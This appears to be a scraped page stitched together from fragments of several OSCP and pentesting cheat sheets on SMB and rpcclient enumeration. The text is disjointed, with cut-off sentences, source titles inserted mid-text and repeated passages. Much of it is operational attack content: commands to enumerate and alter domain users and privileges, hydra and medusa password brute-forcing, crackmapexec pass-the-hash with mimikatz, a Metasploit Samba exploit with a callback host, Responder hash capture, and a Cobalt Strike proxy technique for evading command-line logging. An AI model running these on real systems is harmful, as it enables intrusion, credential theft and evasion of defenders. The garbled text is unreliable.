In general, the rpcclient can be used to connect to the SMB protocol as well. The next command to observe is the lsaquerysecobj command. NETLOGON NO ACCESS -N, --no-pass Don't ask for a password Hence, they usually set up a Network Share. The name is derived from the enumeration of domain groups. Impacket, 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query. -z $2 ]; then rport=$2; else rport=139; fi, tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' DFS to access through Web; FTP to file upload ==> Execute from web == webshell ; Password Checking if you found with other enum. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1001 It is also possible to manipulate the privileges of that SID to make them either vulnerable to a particular privilege or remove the privilege of a user altogether. This is what happens - attacker (10.0.0.5) uses proxychains with impacket's reg utility to retrieve the hostname of the box at 10.0.0.7 (WS02) via the compromised (CS beacon) box 10.0.0.2 (WS01): The below shows traffic captures that illustrate that the box 10.0.0.2 enumerates 10.0.0.7 using SMB traffic only: Below further proves that the box 10.0.0.2 (WS01 which acted as proxy) did not generate any sysmon logs and the target box 10.0.0.7 (WS02) logged a couple of events, that most likely would not attract much attention from the blue teams: Note how only the SMB traffic between the compromised system and the DC is generated, but no new processes are spawned by the infected dllhost process: {% embed url="https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html" %}, {% embed url="https://github.com/SecureAuthCorp/impacket/tree/master/examples" %}, {% embed url="https://www.cobaltstrike.com/help-socks-proxy-pivoting" %}, {% embed url="https://www.youtube.com/watch?v=l8nkXCOYQC4&index=19&list=WL&t=7s" %}. New Folder (9) D 0 Sun Dec 13 05:26:59 2015 Using rpcclient it is possible to create a group. 631 - Internet Printing Protocol (IPP) 873 - Pentesting Rsync. abortshutdown Abort Shutdown Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation. certcube provides a detailed guide of oscp enumeration with step by step oscp enumeration cheatsheet. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME), # returns NT_STATUS_ACCESS_DENIED or even gives you a session. Hydra (http://www.thc.org) starting at 2007-07-27 21:51:46 sinkdata Sink data Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds. --------------- ---------------------- platform_id : 500 1690825 blocks of size 2048. result was NT_STATUS_NONE_MAPPED Forbid the creation and modification of files? --------------- ---------------------- WORKGROUP <00> - M S-1-5-21-1835020781-2383529660-3657267081-1005 LEWISFAMILY\kmem (2) | grep -oP 'UnixSamba. Protocol_Name: SMB #Protocol Abbreviation if there is one. sign Force RPC pipe connections to be signed SAMR | VULNERABLE: | Type: STYPE_DISKTREE This can be verified using the enumdomgroups command. Metasploit SMB auxiliary scanners. To enumerate these shares the attacker can use netshareenum on the rpcclient. The next command that can help with the enumeration is lsaquery. It accepts the group name as a parameter. great when smbclient doesnt work, Rpcclient is a Linux tool used for executing client-side MS-RPC functions. ENUMERATING USER ACCOUNTS ON LINUX AND OS X WITH RPCCLIENT, Hacking Samba on Ubuntu and Installing the Meterpreter. It can be observed that the os version seems to . Replication READ ONLY if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! The name is derived from the enumeration of domain users. Manh-Dung Nguyen - OSCP Enumeration - GitHub Pages In this lab, it is assumed that the attacker/operator has gained: The below shows a couple of things. . Enum4linux. List of SMB versions and corresponding Windows versions: SMB1 Windows 2000, XP and Windows 2003. Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network. Guest access disabled by default. netname: IPC$ os version : 4.9 During that time, the designers of the rpcclient might be clueless about the importance of this tool as a penetration testing tool. If this information does not appear in other used tools, you can: # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. First one - two Cobalt Strike sessions: Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: {% code-tabs %} shutdownabort Abort Shutdown (over shutdown pipe) sourcedata Source data IPC$ NO ACCESS It can be done with the help of the createdomuser command with the username that you want to create as a parameter. queryuseraliases Query user aliases rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007 It can be used on the rpcclient shell that was generated to enumerate information about the server. netremotetod Fetch remote time of day ADMIN$ NO ACCESS -k, --kerberos Use kerberos (active directory) What script needs to be executed on the user's login? rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003 Enum4linux is a Linux alternative to enum.exe and is used to enumerate data from Windows and Samba hosts. In this article, we are going to focus on the enumeration of the Domain through the SMB and RPC channels. rpcclient enumeration - HackTricks List of SMB versions and corresponding Windows versions: SMB1 Windows 2000, XP and Windows 2003. This can be extracted using the lookupnames command used earlier. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. | State: VULNERABLE lookupsids Convert SIDs to names # Search the file in recursive mode and download it inside /usr/share/smbmap, #Download everything to current directory, mask: specifies the mask which is used to filter the files within the directory (e.g. "" This command is made from LSA Query Security Object. OSCP Enumeration Cheatsheet - CertCube Labs guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4) Cannot retrieve contributors at this time. It can be enumerated through rpcclient using the lsaenumsid command. wwwroot Disk . [hostname] <00> - M D 0 Thu Sep 27 16:26:00 2018 The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: Which are used by some browsers and tools (like Skype), From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html, Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging, https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html, https://github.com/SecureAuthCorp/impacket/tree/master/examples, https://www.cobaltstrike.com/help-socks-proxy-pivoting, https://www.youtube.com/watch?v=l8nkXCOYQC4&index=19&list=WL&t=7s, code execution on a target system and the beacon is calling back to the team server, PID 260 - beacon injected into dllhost process. OSCP-Cheatsheets/enumerating-windows-domains-using-rpcclient - Github rpcclient is a part of the Samba suite on Linux distributions. | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) When using querygroupmem, it will reveal information about that group member specific to that particular RID. C$ Disk Default share lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) This will help in getting the information such as the kind of password policies that have been enforced by the Administrator in the domain. I create my own checklist for the first but very important step: Enumeration. The lsaaddacctrights command can be used to add privileges to a user based on their SID. The privileges can be enumerated using the enumprivs command on rpcclient. |_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug) SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V Enumerating User Accounts on Linux and Os X With Rpcclient S-1-5-21-1835020781-2383529660-3657267081-1001 LEWISFAMILY\wheel (2) rpcclient $> lookupnames lewis rpcclient - Help - Penetration Test Resource Page When used with the builtin parameter, it shows all the built-in groups by their alias names as demonstrated below. | grep -oP 'UnixSamba. In this lab, it is assumed that the attacker/operator has gained: code execution on a target system and the beacon is calling back to the team server, to be interrogated by 10.0.0.5 via 10.0.0.2. *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. Host is up (0.030s latency). This is an approach I came up with while researching on offensive security. Adding it to the original post. SegFault:~ cg$rpcclient -U "" 192.168.182.36 | Anonymous access: | RRAS Memory Corruption vulnerability (MS06-025) There are a couple of machines in the lab that will only work on the first attempt, and . That narrows the version that the attacker might be looking at to Windows 10, Windows Server 2016, and Windows Server 2019. These may indicate whether the share exists and you do not have access to it or the share does not exist at all. It also includes the commands that I used on platforms such as Vulnhub and Hack the Box. rpcclient $> netshareenum S-1-5-21-1835020781-2383529660-3657267081-2002 LEWISFAMILY\user (1) May need to run a second time for success. Some of these commands are based on those executed by the Autorecon tool. Learn offensive CTF training from certcube labs online . object in the NAME_DOMAIN.LOCAL domain and you will never see this paired value tied to another object in this domain or any other. | [+] IP: [ip]:445 Name: [ip] rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1013 In there you may, many different batch, VBScript, and PowerShell, using some discovered credentials. SPOOLSS samlogon Sam Logon and therefore do not correspond to the rights assigned locally on the server. Workgroup Master My #1 SMB tip: if the exploit you're using fails despite the target appearing vulnerable, reset the machine and try again. Are there any resources out there that go in-depth about SMB enumeration? *', # download everything recursively in the wwwroot share to /usr/share/smbmap. | smb-vuln-ms17-010: | Current user access: READ/WRITE deldriverex Delete a printer driver with files ECHO This information includes the Group Name, Description, Attributes, and the number of members in that group. and Unix distributions and thus cross-platform communication via SMB. | execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability." S-1-5-21-1835020781-2383529660-3657267081-500 LEWISFAMILY\Administrator (1) --------------- ---------------------- #rpcclient $>srvinfo #rpcclient $>enumdomusers #rpcclient $>querydominfo #rpcclient $>getdompwinfo //password policy #rpcclient $>netshareenum #nmblookup -A 192.168.1.1 139,445 - Pentesting SMB - HackTricks We will shine the light on the process or methodology for enumerating SMB services on the Target System/Server in this article. remark: IPC Service (Mac OS X) These commands should only be used for educational purposes or authorised testing. This command will show you the shares on the host, as well as your access to them. These privileges can help the attacker plan for elevating privileges on the domain. To do this first, the attacker needs a SID. Using rpcclient we can enumerate usernames on those OS's just like a windows OS. Code execution don't work. Most secure. OSCP notes: ACTIVE INFORMATION GATHERING Flashcards | Quizlet This command can be used to extract the details regarding the user that the SID belongs. It contains contents from other blogs for my quick reference, * nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan), masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports, ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//'), nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A, (performs full scan instead of syn-scan to prevent getting flagged by firewalls), From Apache Version to finding Ubuntu version -> ubuntu httpd versions, : Private key that is used for login. Example output is long, but some highlights to look for: ngrep is a neat tool to grep on network data. Pentesting Cheatsheets. S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2) . ** (extracted from, 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP), and entire directories and other network resources such as printers, routers, or interfaces released for the network. Enumerate Domain Users. Disk Permissions queryaliasmem Query alias membership Learn. RPC is built on Microsofts COM and DCOM technologies. Enumerate Domain Groups. without the likes of: which most likely are monitored by the blue team. The deletedomuser command is used to perform this action. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! echoaddone Add one to a number Port_Number: 137,138,139 #Comma separated if there is more than one. enumports Enumerate printer ports Common share names for windows targets are, You can try to connect to them by using the following command, # null session to connect to a windows share, # authenticated session to connect to a windows share (you will be prompted for a password), "[+] creating a null session is possible for, # no output if command goes through, thus assuming that a session was created, # echo error message (e.g. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2002 --------------- ---------------------- It contains contents from other blogs for my quick reference May need to run a second time for success. Are you sure you want to create this branch? rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1011 This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. list List available commands on | Comment: This can be obtained by running the lsaenumsid command. While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. | \\[ip]\share: none Force RPC pipe connections to have no special properties, Lets play with a few options: With --pw-nt-hash, the pwd provided is the NT hash, #Use --no-pass -c 'recurse;ls' to list recursively with smbclient, #List with smbmap, without folder it list everything. Passing the SID as a parameter in the lsacreateaccount command will enable us as an attacker to create an account object as shown in the image below. It enumerates alias groups on the domain. querydominfo Query domain info These commands can enumerate the users and groups in a domain. The ability to enumerate individually doesnt limit to the groups but also extends to the users. querydispinfo Query display info OSCP Enumeration Cheat Sheet. Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default | State: VULNERABLE But sometimes these don't yield any interesting results. [+] User SMB session establishd on [ip] Password Spraying & Other Fun with RPCCLIENT - Black Hills Information | Current user access: (MS)RPC - OSCP Playbook | Type: STYPE_DISKTREE_HIDDEN A Little Guide to SMB Enumeration - Hacking Articles 139/tcp open netbios-ssn Thus it might be worth a short to try to manually connect to a share. In the case of queryusergroups, the group will be enumerated. If you're having trouble getting the version from the usual methods, you might have to use wireshark or tcpdump to inspect the packets. Query Group Information and Group Membership. --------------- ---------------------- lsaremoveacctrights Remove rights from an account enumalsgroups Enumerate alias groups Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 If the permissions allow, an attacker can delete a group as well. Active Directory Enumeration: RPCClient - Hacking Articles In the demonstration, it can be observed that the SID that was enumerated belonged to the Administrator of the Builtin users. Since we already performed the enumeration of such data before in the article, we will enumerate using enumdomgroup and enumdomusers and the query-oriented commands in this demonstration. It has undergone several stages of development and stability. Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. Pentesting Cheatsheets - Red Team Notes If in the above example the ttl=127, then it is safe to assume (from this information alone) that the host, 10.10.10.10, is a Linux host. After the tunnel is up, you can comment out the first socks entry in proxychains config. One of the first enumeration commands to be demonstrated here is the srvinfo command. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. netname: ADMIN$ | Risk factor: HIGH result was NT_STATUS_NONE_MAPPED. This is an enumeration cheat sheet that I created while pursuing the OSCP. LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X GENERAL OPTIONS This tool is part of the samba(7) suite. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1008 method. Since the user and password-related information is stored inside the SAM file of the Server. Most of the Corporate offices dont want their employees to use USB sticks or other mediums to share files and data among themselves. [Update 2018-12-02] I just learned about smbmap, which is just great. *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. setdriver Set printer driver NETLOGON Host script results: Enter WORKGROUP\root's password: The hash can then be cracked offline or used in an. SMB enumeration : oscp - Reddit addform Add form You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. OSCP Guide | Rikunj Sindhwad - Xmind There are numerous tools and methods to perform enumeration, we will be finding different types of information on SMB throughout the article. This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). OSCP/oscp-cheatsheet.md at master tagnullde/OSCP GitHub Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. 623/UDP/TCP - IPMI. SMB2 Windows Vista SP1 and Windows 2008, crackmapexec -u 'guest' -p '' --shares $ip, crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip, crackmapexec -u 'guest' -p '' --users $ip, crackmapexec smb 192.168.1.0/24 -u Administrator -p, crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution. ADMIN$ Disk Remote Admin The polices that are applied on a Domain are also dictated by the various group that exists. | Disclosure date: 2006-6-27 setprinter Set printer comment Author: Pavandeep Singhis a Technical Writer, Researcher, and Penetration Tester. | A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1 Wordlist dictionary. Depending on the user privilege it is possible to change the password using the chgpasswd command.
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